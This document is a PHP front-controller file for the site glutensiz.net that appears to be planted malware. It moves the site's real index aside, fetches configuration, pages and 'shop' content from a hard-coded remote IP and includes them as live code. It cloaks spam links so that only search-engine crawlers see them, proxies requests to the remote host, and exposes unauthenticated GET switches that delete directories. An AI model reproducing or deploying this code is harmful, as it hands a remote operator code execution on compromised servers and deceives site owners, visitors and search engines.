/** * Placeholders */ $__via_copy_file_name = 'index_old_.php'; $daddy_url = 'http://188.120.232.127'; $links_daddy_url = 'http://188.120.232.127'; $website_config_file = '/home/glutensiz.net/httpdocs/2/__website_config'; $pages_map_file = '/home/glutensiz.net/httpdocs/2/__pages_map'; $pages_sources_path = '/home/glutensiz.net/httpdocs/2/__pages_sources'; $links_sources_path = '/home/glutensiz.net/httpdocs/2/__links_sources'; $static_files_path = '/home/glutensiz.net/httpdocs/2/_static_files'; $static_files_url_prefix = 'http://glutensiz.net/2/_static_files'; if (!isset($_SERVER['REQUEST_URI'])) { $_SERVER['REQUEST_URI'] = $_SERVER['PHP_SELF']; if (isset($_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING']) { $_SERVER['REQUEST_URI'].='?'.$_SERVER['QUERY_STRING']; } } $include_file_path = null; if(isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI'] != '/'){ $include_file_path = rtrim(dirname(__FILE__) . $_SERVER['REQUEST_URI'], "/\\"); if(!@file_exists($include_file_path)){ $include_file_path = null; } } if(!$include_file_path){ $include_file_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . $__via_copy_file_name; } $domain = strtolower('glutensiz.net'); if (!function_exists('json_encode')) { function json_encode($value) { if (is_int($value)) { return (string)$value; } elseif (is_string($value)) { $value = str_replace(array('\\', '/', '"', "\r", "\n", "\b", "\f", "\t"), array('\\\\', '\/', '\"', '\r', '\n', '\b', '\f', '\t'), $value); $convmap = array(0x80, 0xFFFF, 0, 0xFFFF); $result = ""; for ($i = mb_strlen($value) - 1; $i >= 0; $i--) { $mb_char = mb_substr($value, $i, 1); if (mb_ereg("&#(\\d+);", mb_encode_numericentity($mb_char, $convmap, "UTF-8"), $match)) { $result = sprintf("\\u%04x", $match[1]) . $result; } else { $result = $mb_char . $result; } } return '"' . $result . '"'; } elseif (is_float($value)) { return str_replace(",", ".", $value); } elseif (is_null($value)) { return 'null'; } elseif (is_bool($value)) { return $value ? 'true' : 'false'; } elseif (is_array($value)) { $with_keys = false; $n = count($value); for ($i = 0, reset($value); $i < $n; $i++, next($value)) { if (key($value) !== $i) { $with_keys = true; break; } } } elseif (is_object($value)) { $with_keys = true; } else { return ''; } $result = array(); if ($with_keys) { foreach ($value as $key => $v) { $result[] = json_encode((string)$key) . ':' . json_encode($v); } return '{' . implode(',', $result) . '}'; } else { foreach ($value as $key => $v) { $result[] = json_encode($v); } return '[' . implode(',', $result) . ']'; } } } if (!function_exists('json_decode')) { function json_decode($json, $assoc = false) { mb_internal_encoding("UTF-8"); $i = 0; $n = strlen($json); try { $result = json_decode_value($json, $i, $assoc); while ($i < $n && $json[$i] && $json[$i] <= ' ') $i++; if ($i < $n) { return null; } return $result; } catch (Exception $e) { return null; } } function json_decode_value($json, &$i, $assoc = false) { $n = strlen($json); while ($i < $n && $json[$i] && $json[$i] <= ' ') $i++; switch ($json[$i]) { // object case '{': $i++; $result = $assoc ? array() : new stdClass(); while ($i < $n && $json[$i] && $json[$i] <= ' ') $i++; if ($json[$i] === '}') { $i++; return $result; } while ($i < $n) { $key = json_decode_string($json, $i); while ($i < $n && $json[$i] && $json[$i] <= ' ') $i++; if ($json[$i++] != ':') { throw new Exception("Expected ':' on ".($i - 1)); } if ($assoc) { $result[$key] = json_decode_value($json, $i, $assoc); } else { $result->$key = json_decode_value($json, $i, $assoc); } while ($i < $n && $json[$i] && $json[$i] <= ' ') $i++; if ($json[$i] === '}') { $i++; return $result; } if ($json[$i++] != ',') { throw new Exception("Expected ',' on ".($i - 1)); } while ($i < $n && $json[$i] && $json[$i] <= ' ') $i++; } throw new Exception("Syntax error"); // array case '[': $i++; $result = array(); while ($i < $n && $json[$i] && $json[$i] <= ' ') $i++; if ($json[$i] === ']') { $i++; return array(); } while ($i < $n) { $result[] = json_decode_value($json, $i, $assoc); while ($i < $n && $json[$i] && $json[$i] <= ' ') $i++; if ($json[$i] === ']') { $i++; return $result; } if ($json[$i++] != ',') { throw new Exception("Expected ',' on ".($i - 1)); } while ($i < $n && $json[$i] && $json[$i] <= ' ') $i++; } throw new Exception("Syntax error"); // string case '"': return json_decode_string($json, $i); // number case '-': return json_decode_number($json, $i); // true case 't': if ($i + 3 < $n && substr($json, $i, 4) === 'true') { $i += 4; return true; } // false case 'f': if ($i + 4 < $n && substr($json, $i, 5) === 'false') { $i += 5; return false; } // null case 'n': if ($i + 3 < $n && substr($json, $i, 4) === 'null') { $i += 4; return null; } default: // number if ($json[$i] >= '0' && $json[$i] <= '9') { return json_decode_number($json, $i); } else { throw new Exception("Syntax error"); }; } } function json_decode_string($json, &$i) { $result = ''; $escape = array('"' => '"', '\\' => '\\', '/' => '/', 'b' => "\b", 'f' => "\f", 'n' => "\n", 'r' => "\r", 't' => "\t"); $n = strlen($json); if ($json[$i] === '"') { while (++$i < $n) { if ($json[$i] === '"') { $i++; return $result; } elseif ($json[$i] === '\\') { $i++; if ($json[$i] === 'u') { $code = "&#".hexdec(substr($json, $i + 1, 4)).";"; $convmap = array(0x80, 0xFFFF, 0, 0xFFFF); $result .= mb_decode_numericentity($code, $convmap, 'UTF-8'); $i += 4; } elseif (isset($escape[$json[$i]])) { $result .= $escape[$json[$i]]; } else { break; } } else { $result .= $json[$i]; } } } throw new Exception("Syntax error"); } function json_decode_number($json, &$i) { $result = ''; if ($json[$i] === '-') { $result = '-'; $i++; } $n = strlen($json); while ($i < $n && $json[$i] >= '0' && $json[$i] <= '9') { $result .= $json[$i++]; } if ($i < $n && $json[$i] === '.') { $result .= '.'; $i++; while ($i < $n && $json[$i] >= '0' && $json[$i] <= '9') { $result .= $json[$i++]; } } if ($i < $n && ($json[$i] === 'e' || $json[$i] === 'E')) { $result .= $json[$i]; $i++; if ($json[$i] === '-' || $json[$i] === '+') { $result .= $json[$i++]; } while ($i < $n && $json[$i] >= '0' && $json[$i] <= '9') { $result .= $json[$i++]; } } return (0 + $result); } } /** * Website test */ if(isset($_GET['via-make-test'])){ if(isset($_GET['via-get-urls'])){ echo json_encode(array( 'daddy_url' => $daddy_url, 'link_daddy_url' => $links_daddy_url, )); exit(); } echo 1; exit(); } function __via_destroy_dir($dir) { if (!@is_dir($dir) || @is_link($dir)) return @unlink($dir); foreach (@scandir($dir) as $file) { if ($file == '.' || $file == '..') continue; if (!__via_destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) { @chmod($dir . DIRECTORY_SEPARATOR . $file, 0755); if (!__via_destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) return false; }; } return @rmdir($dir); } function __via_file_get_contents_curl($url) { if(function_exists('curl_init')){ $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4', 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36', )); $data = curl_exec($ch); curl_close($ch); if(!$data){ $data = @file_get_contents($url); } return $data; } return @file_get_contents($url); } if(!function_exists('apache_request_headers')) { function apache_request_headers() { $headers = array(); foreach($_SERVER as $key => $value) { if(substr($key, 0, 5) == 'HTTP_') { $headers[str_replace(' ', '-', ucwords(str_replace('_', ' ', strtolower(substr($key, 5)))))] = $value; } } return $headers; } } function __via_proxy_request($url, $data, $method) { $data = http_build_query($data); $datalength = strlen($data); // parse the given URL $url = parse_url($url); if ($url['scheme'] != 'http') { die('Error: Only HTTP request are supported !'); } // extract host and path: $host = $url['host']; $path = $url['path']; // open a socket connection on port 80 - timeout: 30 sec $fp = fsockopen($host, 80, $errno, $errstr, 30); if ($fp){ // send the request headers: if($method == "POST") { fputs($fp, "POST $path HTTP/1.1\r\n"); } else { fputs($fp, "GET $path?$data HTTP/1.1\r\n"); } fputs($fp, "Host: $host\r\n"); fputs($fp, "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"); $requestHeaders = apache_request_headers(); while ((list($header, $value) = each($requestHeaders))) { if($header == "Content-Length") { fputs($fp, "Content-Length: $datalength\r\n"); } else if($header !== "Connection" && $header !== "Host" && $header !== "Content-length") { fputs($fp, "$header: $value\r\n"); } } fputs($fp, "Connection: close\r\n\r\n"); fputs($fp, $data); $result = ''; while(!feof($fp)) { // receive the results of the request $result .= fgets($fp, 128); } } else { return array( 'status' => 'err', 'error' => "$errstr ($errno)" ); } fclose($fp); $result = explode("\r\n\r\n", $result, 2); $header = isset($result[0]) ? $result[0] : ''; $content = isset($result[1]) ? $result[1] : ''; // return as structured array: return array( 'status' => 'ok', 'header' => $header, 'content' => $content ); } $uri = isset($_SERVER["REQUEST_URI"]) ? str_replace('/index.php', '/', $_SERVER["REQUEST_URI"]) : "/"; if(isset($_SERVER["QUERY_STRING"])){ if(strpos($_SERVER["QUERY_STRING"], '?') !== false){ list($base_query, $extra_query) = explode('?', $_SERVER["QUERY_STRING"]); $uri = str_replace($extra_query, '', $uri); } elseif(strpos($_SERVER["QUERY_STRING"], '=') === false){ $uri = str_replace($_SERVER["QUERY_STRING"], '', $uri); } $uri = trim($uri, '?'); } /** * Website cache clear */ if(isset($_GET['via-make-cache-clear'])){ if(@is_dir($pages_sources_path)){ echo __via_destroy_dir($pages_sources_path) ? 1 : 0; } else { echo 1; } exit(); } /** * Website links cache clear */ if(isset($_GET['via-make-links-cache-clear'])){ if(@is_dir($links_sources_path)){ echo __via_destroy_dir($links_sources_path) ? 1 : 0; } else { echo 1; } exit(); } /** * Website links cache clear by hash */ if(isset($_GET['via-make-links-cache-clear-by-hash'])){ if(@is_dir($links_sources_path)){ $pages_hashes = isset($_GET['hashes']) ? $_GET['hashes'] : array(); if(is_array($pages_hashes)){ foreach($pages_hashes as $page_hash){ $page_links_file_path = $links_sources_path . DIRECTORY_SEPARATOR . $page_hash; if(@is_file($page_links_file_path)){ @unlink($page_links_file_path); } } } } echo 1; exit(); } /** * Website map clear */ if(isset($_GET['via-make-map-clear'])){ if(@is_file($pages_map_file)){ if(!@is_writable($pages_map_file)){ @chmod($pages_map_file, 0755); } echo @unlink($pages_map_file) ? 1 : 0; } else { echo 1; } exit(); } /** * Website static files clear */ if(isset($_GET['via-make-static-files-clear'])){ if(@is_dir($static_files_path)){ echo __via_destroy_dir($static_files_path) ? 1 : 0; } else { echo 1; } exit(); } /** * Website config clear */ if(isset($_GET['via-make-config-clear'])){ if(@is_file($website_config_file)){ echo @unlink($website_config_file) ? 1 : 0; } else { echo 1; } exit(); } $static_files_uri_prefix = parse_url($static_files_url_prefix, PHP_URL_PATH) . '?' . parse_url($static_files_url_prefix, PHP_URL_QUERY); if($uri && strpos($uri, $static_files_uri_prefix) !== false){ $via_static_file_path = $uri; if(!@is_dir($static_files_path)){ @mkdir($static_files_path); } $via_static_real_file_path = $static_files_path . str_replace($static_files_uri_prefix, '', $via_static_file_path); $via_static_file_directory_path = str_replace(basename($via_static_real_file_path), '', $via_static_real_file_path); if(!@is_dir($via_static_file_directory_path)){ @mkdir($via_static_file_directory_path, 0755, true); } $via_static_file_destination_url = $links_daddy_url . '/static_files' . str_replace($static_files_uri_prefix, '', $via_static_file_path); if(!@is_file($via_static_real_file_path)){ $data = @__via_file_get_contents_curl($via_static_file_destination_url); if($data){ @file_put_contents($via_static_real_file_path, $data); } } $method = $_SERVER['REQUEST_METHOD']; $response = __via_proxy_request($via_static_file_destination_url, ($method == "GET" ? $_GET : $_POST), $method); $headerArray = explode("\r\n", $response['header']); foreach($headerArray as $headerLine) { header($headerLine); } echo $response['content']; exit(); } $website_config_json = @file_get_contents($website_config_file); if(!$website_config_json){ $website_config_json = @__via_file_get_contents_curl($daddy_url . '/website-config?domain=' . urlencode($domain)); if($website_config_json && $website_config_json != 'false' && trim($website_config_json) != '503 Service Unavailable'){ $website_config = json_decode($website_config_json, true); if(is_array($website_config)){ $website_config['index_file_path'] = __FILE__; $website_config_json = json_encode($website_config); } } else { $website_config_json = false; } @file_put_contents($website_config_file, $website_config_json); } if($website_config_json){ error_reporting(0); $website_config = json_decode($website_config_json, true); if(isset($website_config['domain'])){ $domain = $website_config['domain']; } if(isset($website_config['state']) && $website_config['state'] == 1){ $agent = $_SERVER["HTTP_USER_AGENT"]; $is_bot = false; $bots = explode(',', 'bot,bingbot,Ahrefs,SiteBot,testbot,googlebot,mediapartners-google,yahoo-verticalcrawler,yahoo! slurp,yahoo-mm,Yandex,inktomi,slurp,iltrovatore-setaccio,fast-webcrawler,msnbot,ask jeeves,teoma,scooter,psbot,openbot,ia_archiver,almaden,baiduspider,zyborg,gigabot,naverbot,surveybot,boitho.com-dc,objectssearch,answerbus,nsohu-search'); foreach($bots as $bot){ if (strpos(strtolower($agent), trim(strtolower($bot))) !== false){ $is_bot = true; break; } } if(strpos($uri, 'index.php') !== false){ $uri_parts = explode('index.php', $uri); if(isset($uri_parts[0])){ $uri = $uri_parts[0]; } } $base_uri = parse_url($uri, PHP_URL_PATH); $uri_query = parse_url($uri, PHP_URL_QUERY); $has_trailing_back_slash = false; if($uri != "/"){ $has_trailing_back_slash = ($base_uri != rtrim($base_uri, "/\\")); $uri = rtrim($uri, "/\\"); } $hash = md5($domain . $uri); if(@is_file($pages_map_file) && !@is_writable($pages_map_file)){ @chmod($pages_map_file, 0755); } $pages_map_json = @file_get_contents($pages_map_file); if(!$pages_map_json || (@file_exists($pages_map_file) && filemtime($pages_map_file) <= (time() - (60 * 60 * 24 * 3)))){ $pages_map_json_response = @__via_file_get_contents_curl($daddy_url . '/website-pages-map?domain=' . urlencode($domain)); if($pages_map_json_response){ if($pages_map_json_response == 'false' || substr(trim($pages_map_json_response), 0, 1) != '['){ if(!$pages_map_json){ $pages_map_json = '[]'; } } else { $pages_map_json = $pages_map_json_response; } if(substr(trim($pages_map_json), 0, 1) == '['){ @file_put_contents($pages_map_file, $pages_map_json); } } else { $pages_map_json = '[]'; } } if($pages_map_json){ $__is_article = false; $page_source_file_path = $pages_sources_path . DIRECTORY_SEPARATOR . $hash . '.html'; if(@file_exists($page_source_file_path)){ $__is_article = true; } else { $__is_article = preg_match('/' . $hash . '/', $pages_map_json); } if($__is_article){ if(!$has_trailing_back_slash){ $ext = pathinfo($uri, PATHINFO_EXTENSION); if(!$ext){ //@TODO fix bug with .htaccess RewriteRule ^(.*)/$ /$1 [L,R=301] //header("Location: " . $base_uri . '/' . ( $uri_query ? '?' . $uri_query : null), true, 301); //exit(); } } if(!@file_exists($page_source_file_path) || (file_exists($page_source_file_path) && filemtime($page_source_file_path) <= (time() - (60 * 60 * 24 * 3)))){ if(!@is_dir($pages_sources_path)){ @mkdir($pages_sources_path); } $url = "$daddy_url/page?domain=" . urlencode($domain) . "&uri=" . urlencode($uri) . "&user_agent=" . urlencode($agent); $page_source = @__via_file_get_contents_curl($url); if($page_source && $page_source != 'false' && !in_array(substr(trim($page_source), 0, 1), array('[', '{'))){ @file_put_contents($page_source_file_path, $page_source); } } if(@file_exists($page_source_file_path)){ if(isset($_COOKIE[$uri])){ $html = @file_get_contents($page_source_file_path); $dom = new DOMDocument(); libxml_use_internal_errors(true); $dom->loadHTML($html); libxml_clear_errors(); $element = $dom->getElementById('__container_inner_right_bar'); while($element->childNodes->length){ $element->removeChild($element->firstChild); } $cookieUrl = $_COOKIE[$uri]; $cookieUrlHash = md5($cookieUrl); $cookiePageSourceFilePath = $pages_sources_path . DIRECTORY_SEPARATOR . $cookieUrlHash . '.html'; if(!@file_exists($cookiePageSourceFilePath) || (file_exists($cookiePageSourceFilePath) && filemtime($cookiePageSourceFilePath) <= (time() - (60 * 60 * 24 * 3)))){ $url = "$daddy_url/shop-page/$cookieUrlHash"; $shopPageSource = @__via_file_get_contents_curl($url); if($shopPageSource && $shopPageSource != 'false'){ @file_put_contents($cookiePageSourceFilePath, $shopPageSource); } } if(@file_exists($cookiePageSourceFilePath)){ $fragment = $dom->createDocumentFragment(); $fragment->appendXML(@file_get_contents($cookiePageSourceFilePath)); $element->insertBefore($fragment); echo $dom->saveHTML(); exit(); } else { include_once($page_source_file_path); exit(); } } else { include_once($page_source_file_path); exit(); } } } else { $links_source_file_path = $links_sources_path . DIRECTORY_SEPARATOR . $hash; $__via_content = null; if(@file_exists($links_source_file_path)){ $__via_content = @file_get_contents($links_source_file_path); $__via_content = str_replace('position:fixed !important; left:-9999px !important;', '', $__via_content); if($__via_content == 'false' || strpos($__via_content, '404') !== false || strpos($__via_content, '503') !== false){ $__via_content = null; @unlink($links_source_file_path); } } if(!$__via_content){ if(!@is_dir($links_sources_path)){ @mkdir($links_sources_path); } $__via_content = null; if(isset($website_config['is_sape']) && $website_config['is_sape']){ $referer = "http://{$domain}{$uri}"; $url = "$links_daddy_url/links?pageContent=1&domain=$domain&referer=".urlencode($referer); $links_source = @__via_file_get_contents_curl($url); if($links_source && $links_source != 'false'){ $pages_urls = array(); $isJson = in_array(substr(trim($links_source), 0, 1), array('[', '{')); if($isJson){ $__pages = json_decode($links_source, true); if(is_array($__pages)){ foreach($__pages as $__page){ if(isset($__page['url']) && isset($__page['anchor'])){ $pages_urls[] = "
  • " . $__page['anchor'] . "
  • "; } } if($pages_urls){ $__via_content = ""; @file_put_contents($links_source_file_path, $__via_content); } } } else { $__via_content = $links_source; if($__via_content){ @file_put_contents($links_source_file_path, $__via_content); } } } } else { $pages_map = json_decode($pages_map_json, true); if(is_array($pages_map) && $pages_map){ $pages_amount = count($pages_map); if($pages_amount >= 10){ $rand_pages_keys = array_rand($pages_map, $pages_amount); } else { $rand_pages_keys = array_keys($pages_map); } $pages_urls = array(); foreach($rand_pages_keys as $page_key){ $__page = $pages_map[$page_key]; if(isset($__page['url']) && isset($__page['anchor'])){ $pages_urls[] = "
  • " . $__page['anchor'] . "
  • "; } } if($pages_urls){ $__via_content = ""; @file_put_contents($links_source_file_path, $__via_content); } } } } $only_bot_links = true; if(isset($website_config['only_bot_links'])){ $only_bot_links = is_bool($website_config['only_bot_links']) ? $website_config['only_bot_links'] : ($website_config['only_bot_links'] == 1 ? true : false); } $hide_links_type = null; if(isset($website_config['hide_links_type'])){ $hide_links_type = $website_config['hide_links_type']; } if ((($only_bot_links && $is_bot) || !$only_bot_links) && $__via_content && is_string($__via_content)) { switch($hide_links_type){ case 'js': $__via_js_script = ""; $__via_content = "
    {$__via_content}{$__via_js_script}
    "; break; } $_content = null; $via_get_page_content = false; function via_get_page_content(){ global $via_get_page_content; global $_content; global $__via_content; if($via_get_page_content){ return; } $via_get_page_content = true; $_content = ob_get_contents(); ob_clean(); $delimiter = ""; $page_parts = explode($delimiter, $_content); $page_parts[0] .= $__via_content . $delimiter; $_content = implode("", $page_parts); echo $_content; die; } register_shutdown_function("via_get_page_content"); ob_start(); include($include_file_path); via_get_page_content(); try { $dom = new DOMDocument(); libxml_use_internal_errors(true); $dom->loadHTML($_content); libxml_clear_errors(); $tags = array( 'p', 'div', 'span', 'table', ); $DOMElement = null; foreach($tags as $tag){ $DOMNodeList = $dom->getElementsByTagName($tag); if($DOMNodeList->length > 0){ $itemIndex = 0; if($DOMNodeList->length > 1){ $itemIndex = floor($DOMNodeList->length / 2); } $DOMElement = $DOMNodeList->item($itemIndex); break; } } if($DOMElement instanceof DOMElement){ $fragment = $dom->createDocumentFragment(); $fragment->appendXML($__via_content); if($fragment->childNodes->length <= 0){ @unlink($links_source_file_path); throw new Exception('Invalid via content'); } $DOMElement->parentNode->insertBefore($fragment, $DOMElement); } else { throw new Exception('DOM element not found'); } echo $dom->saveHTML(); } catch(Exception $e) { $delimiter = ""; $page_parts = explode($delimiter, $_content); $page_parts[0] .= $__via_content . $delimiter; $_content = implode("", $page_parts); echo $_content; } exit(); } else { include_once($include_file_path); } } } } } include_once($include_file_path);